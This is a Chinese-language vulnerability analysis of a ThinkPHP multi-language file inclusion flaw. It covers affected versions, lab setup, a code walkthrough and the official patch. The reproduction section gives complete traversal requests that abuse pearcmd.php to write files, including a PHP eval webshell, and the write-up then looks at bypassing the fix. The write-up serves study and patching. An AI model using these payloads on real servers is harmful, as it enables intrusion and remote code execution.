ThinkPHP 多语言功能开启下文件包含漏洞
漏洞描述
ThinkPHP 是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架。Thinkphp 在开启多语言功能的情况下存在文件包含漏洞,结合特殊环境可能造成远程代码执行。Thinkphp官方已于9月25日的V6.0.14 版本中修复。
受影响版本
v6.0.0 ~ v6.0.13
v5.1.x < v5.1.42
v5.0.x
安全版本
v6.0.14
v5.1.42
如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
攻击条件
开启多语言功能
ThinkPHP6
app/middleware.php :
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
\think\middleware\LoadLangPack::class,
// Session初始化
// \think\middleware\SessionInit::class
];
ThinkPHP5
config/app.php
application/config.php
'lang_switch_on' => true
测试环境搭建
官方地址:https://github.com/top-think/think
这里以v6.0.12版本作为复现环境。
ThinkPHP6.0的环境要求如下:
PHP >= 7.2.5
6.0版本开始,必须通过Composer方式安装和更新,所以你无法通过Git下载安装。
安装composer
如果还没有安装 Composer,在 Linux 和 Mac OS X 中可以运行如下命令:
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
在 Windows 中,你需要下载并运行 Composer-Setup.exe。
由于众所周知的原因,国外的网站连接速度很慢。因此安装的时间可能会比较长,我们建议使用国内镜像。
打开命令行窗口(windows用户)或控制台(Linux、Mac 用户)并执行如下命令:
阿里云:composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
华为云:composer config -g repo.packagist composer https://repo.huaweicloud.com/repository/php/
安装ThinkPHP v6.0.12
root@ubuntu:/var/www/# git clone https://github.com/top-think/think.git think_git
root@ubuntu:/var/www/# cd think_git
root@ubuntu:/var/www/think_git# git checkout v6.0.12
更改composer.json
,安装v6.0.12
:
"require": {
"php": ">=7.2.5",
"topthink/framework": "6.0.12",
"topthink/think-orm": "^2.0"
},
root@ubuntu:/var/www/think_git#composer install
也可以直接下载:https://github.com/top-think/think/releases/tag/v6.0.12
我在实际配置的过程中,在进行composer install
时,并不会按照composer.json
中所写的去下载"topthink/framework": "6.0.12"
,而是去下载了最新版本,于是我手动下载了v6.0.13版本并进行了替换。
打开多语言配置
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
\think\middleware\LoadLangPack::class,
// Session初始化
// \think\middleware\SessionInit::class
];
测试运行
现在只需要做最后一步来验证是否正常运行。
进入命令行下面,执行下面指令
php think run
在浏览器中输入地址:
http://localhost:8000/
会看到欢迎页面。恭喜你,现在已经完成ThinkPHP6.0的安装!
如果你本地80端口没有被占用的话,也可以直接使用
php think run -p 80
然后就可以直接访问:
http://localhost/
IDEA+PHPStudy+Xdebug 配置PHP DEBUG环境
如果不是IDEA这个DEBUG配置折磨了我一整个下午,我绝对不会写上来(一开始就配置的挺好的,非要去整烂活),真的脑溢血了。
首先我用的PHP版本是7.3.4,并且使用PHPStudy环境下载的,用起来较为方便。
打开idea,打开file/settings/plugins
,下载php
插件。下载完后重启idea,打开file/settings/Languages & Framworks/php
,选择PHP language level
。
选择CLI interpreter
,新建,以我本地配置为例,PHP executable
为php.exe
的绝对路径F:\phpStudy\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe
。填写Debugger extension
为php_xdebug.dll
的绝对路径F:\phpStudy\phpstudy_pro\Extensions\php\php7.3.4nts\ext
。
如果本地没有Xdebug,可以利用PHPStudy直接下载。
php.ini
中需要添加:
[Xdebug]
zend_extension=F:/phpStudy/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=On
xdebug.trace_output_dir=F:/phpStudy/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=On
xdebug.profiler_output_dir="F:\phpStudy\phpstudy_pro\Extensions\tmp\xdebug"
xdebug.remote_autostart=1
xdebug.remote_enable=On
xdebug.idekey=PHPSTORM
xdebug.remote_host=127.0.0.1
xdebug.remote_port=9010
xdebug.remote_handler=dbgp
zend_extension
需要根据本地情况进行修改。
xdebug.trace_output_dir
,xdebug.profiler_output_dir
改为自己想改的目录即可。
xdebug.idekey
与xdebug.remote_port
随意设置,只需要保证与idea中设置相同即可。
添加完后打开idea中的file/settings/Languages & Framworks/php/Debug
将其中的Xdebug
中的Debug port
改为php.ini
中的xdebug.remote_port
。
正常运行thinkphp
,以我本地为例,输入php think run -p 11233
,然后浏览器访问,idea中会弹出一个窗口,点击确定即可(如果不做更改,之后应该不会弹出该窗口)。
然后正常设置断点进行调试即可。
漏洞修复
protected function detect(Request $request): string
{
// 自动侦测设置获取语言选择
$langSet = '';
if ($request->get($this->config['detect_var'])) {
// url中设置了语言变量
$langSet = strtolower($request->get($this->config['detect_var']));
} elseif ($request->header($this->config['header_var'])) {
// Header中设置了语言变量
$langSet = strtolower($request->header($this->config['header_var']));
} elseif ($request->cookie($this->config['cookie_var'])) {
// Cookie中设置了语言变量
$langSet = strtolower($request->cookie($this->config['cookie_var']));
} elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
// 自动侦测浏览器语言
$match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches);
if ($match) {
$langSet = strtolower($matches[1]);
if (isset($this->config['accept_language'][$langSet])) {
$langSet = $this->config['accept_language'][$langSet];
}
}
}
if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) {
// 合法的语言
$range = $langSet;
$this->lang->setLangSet($range);
} else {
$range = $this->lang->getLangSet();
}
return $range;
}
修复
protected function detect(Request $request): string
{
// 自动侦测设置获取语言选择
$langSet = '';
if ($request->get($this->config['detect_var'])) {
// url中设置了语言变量
$langSet = $request->get($this->config['detect_var']);
} elseif ($request->header($this->config['header_var'])) {
// Header中设置了语言变量
$langSet = $request->header($this->config['header_var']);
} elseif ($request->cookie($this->config['cookie_var'])) {
// Cookie中设置了语言变量
$langSet = $request->cookie($this->config['cookie_var']);
} elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
// 自动侦测浏览器语言
$langSet = $request->server('HTTP_ACCEPT_LANGUAGE');
}
if (preg_match('/^([a-z\d\-]+)/i', $langSet, $matches)) {
$langSet = strtolower($matches[1]);
if (isset($this->config['accept_language'][$langSet])) {
$langSet = $this->config['accept_language'][$langSet];
}
} else {
$langSet = $this->lang->getLangSet();
}
if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) {
// 合法的语言
$this->lang->setLangSet($langSet);
} else {
$langSet = $this->lang->getLangSet();
}
return $langSet;
}
添加了正则/^([a-z\d\-]+)/i
,匹配字母数字和-
。如果无法匹配,则将$langSet
置为默认语言,这里是zh-cn
。
漏洞复现
在\vendor\topthink\framework\src\think\middleware\LoadLangPack.php
中设置断点。
public function handle($request, Closure $next)
{
// 自动侦测当前语言
$langset = $this->detect($request);
if ($this->lang->defaultLangSet() != $langset) {
$this->lang->switchLangSet($langset);
}
$this->saveToCookie($this->app->cookie, $langset);
return $next($request);
}
每个middleware
的handle()
函数都会被调用,这里断在LoadLangPack.php
的handle()
,直接在最开头调用 $langset = $this->detect($request);
跟进这个detect()
,可以看到依次排查了GET["lang"]
、 HEADER["think-lang"]
、COOKIE["think_lang"]
,并且将其不做任何过滤,直接赋值给了$langSet
:
然后默认情况下,即allow_lang_list
这个配置为空,$langSet
被赋值给$range
,而$range
被返回:
回到handle()
,如果返回的$langset
不等于默认的langset
,即zh-cn
,那么就会调用$this->lang->switchLangSet($langset)
,正是在这里面实现了文件包含:
跟进switchLangSet()
,可以看到调用了$this->load()
,而传入的参数直接拼接而成,本例中传入的最终结果是 D:\var\www\think6\vendor\topthink\framework\src\lang\../../../../../index.php
:
$this->load([
$this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
]);
跟进这个load()
,可以看到直接将传入的参数作为文件名,先判断文件在不在,如果在就传入parse()
中,进行文件包含:
public function load($file, $range = ''): array
{
$range = $range ?: $this->range;
if (!isset($this->lang[$range])) {
$this->lang[$range] = [];
}
$lang = [];
foreach ((array) $file as $name) {
if (is_file($name)) {
$result = $this->parse($name);
$lang = array_change_key_case($result) + $lang;
}
}
if (!empty($lang)) {
$this->lang[$range] = $lang + $this->lang[$range];
}
return $this->lang[$range];
}
跟进parse()
,可以看到进行了文件包含:
protected function parse(string $file): array
{
$type = pathinfo($file, PATHINFO_EXTENSION);
switch ($type) {
case 'php':
$result = include $file;
break;
case 'yml':
case 'yaml':
if (function_exists('yaml_parse_file')) {
$result = yaml_parse_file($file);
}
break;
case 'json':
$data = file_get_contents($file);
if (false !== $data) {
$data = json_decode($data, true);
if (json_last_error() === JSON_ERROR_NONE) {
$result = $data;
}
}
break;
}
return isset($result) && is_array($result) ? $result : [];
}
既然可以通过目录穿越实现任意php
文件的包含,那么用pearcmd
文件包含这个trick
,就能RCE
了。
以Docker
环境搭建的Thinkphp6
为例
发包
GET /public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/1.php
HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
文件包含
GET /public/index.php?lang=../../../../../../../../../../../../tmp/1 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
当然也可以写入一句话木马get shell
GET /public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php
HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
pearcmd文件包含
pearcmd 文件包含这个 trick ,可以参考 p 牛的文章:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
pecl
是PHP
中用于管理扩展而使用的命令行工具,而pear
是pecl
依赖的类库。在7.3
及以前,pecl/pear
是默认安装的;在7.4
及以后,需要我们在编译PHP
的时候指定--with-pear
才会安装。
不过,在Docker
任意版本镜像中,pcel/pear
都会被默认安装,安装的路径在/usr/local/lib/php
。
原本pear/pcel
是一个命令行工具,并不在Web
目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear
中的文件,进而利用其中的特性来搞事。
在阅读phpinfo()
的过程中,发现Docker
环境下的PHP
会开启register_argc_argv
这个配置。文档中对这个选项的介绍不是特别清楚,大概的意思是,当开启了这个选项,用户的输入将会被赋予给$argc
、$argv
、$_SERVER['argv']
几个变量。
如果PHP
以命令行的形式运行(即sapi
是cli
),这里很好理解。但如果PHP
以Server
的形式运行,且又开启了register_argc_argv
,那么这其中是怎么处理的?
我们在PHP源码中可以看到这样的逻辑:
static zend_bool php_auto_globals_create_server(zend_string *name)
{
if (PG(variables_order) && (strchr(PG(variables_order),'S') || strchr(PG(variables_order),'s'))) {
php_register_server_variables();
if (PG(register_argc_argv)) {
if (SG(request_info).argc) {
zval *argc, *argv;
if ((argc = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGC), 1)) != NULL &&
(argv = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGV), 1)) != NULL) {
Z_ADDREF_P(argv);
zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGV), argv);
zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGC), argc);
}
} else {
php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);
}
}
} else {
zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_SERVER]);
array_init(&PG(http_globals)[TRACK_VARS_SERVER]);
}
...
第一个if
语句判断variables_order
中是否有S
,即$_SERVER
变量;第二个if
语句判断是否开启register_argc_argv
,第三个if语句判断是否有request_info.argc
存在,如果不存在,其执行的是这条语句:
php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);
无论php_build_argv
函数内部是怎么处理的,SG(request_info).query_string
都非常吸引我,这段代码意味着,HTTP
数据包中的query-string
会被作为argv
的值。
RFC3875
中规定,如果query-string
中不包含没有编码的=
,且请求是GET
或HEAD
,则query-string
需要被作为命令行参数。
PHP
现在仍然没有严格按照RFC
来处理,即使我们传入的query-string
包含等号,也仍会被赋值给$_SERVER['argv']
。
我们再来看到pear
中获取命令行argv
的函数:
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
先尝试$argv
,如果不存在再尝试$_SERVER['argv']
,后者我们可通过query-string
控制。也就是说,我们通过Web
访问了pear
命令行的功能,且能够控制命令行的参数。
看看pear
中有哪些可以利用的参数:
第一眼就看到config-create
,阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
所以,我构造出最后的利用数据包如下:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
发送这个数据包,目标将会写入一个文件/tmp/hello.php
,其内容包含<?=phpinfo()?>;
然后,我们再利用文件包含漏洞包含这个文件即可getshell
:
最后这个利用方法,无需条件竞争,也没有额外其他的版本限制等,只要是Docker
启动的PHP
环境即可通过上述一个数据包搞定。
漏洞修复
官方的修复:https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
大致就是加入了一个正则判断,只允许字母数字以及-
。看到这个修复,我第一时间想到了利用回溯次数绕过preg_match
,不过,我在本地尝试时,总是会报错Invalid Request
。单独拿出来进行测试,发现可以绕过preg_match
,但后续是将$matches[1]
赋值给$langSet
。暂时还没有绕过的思路。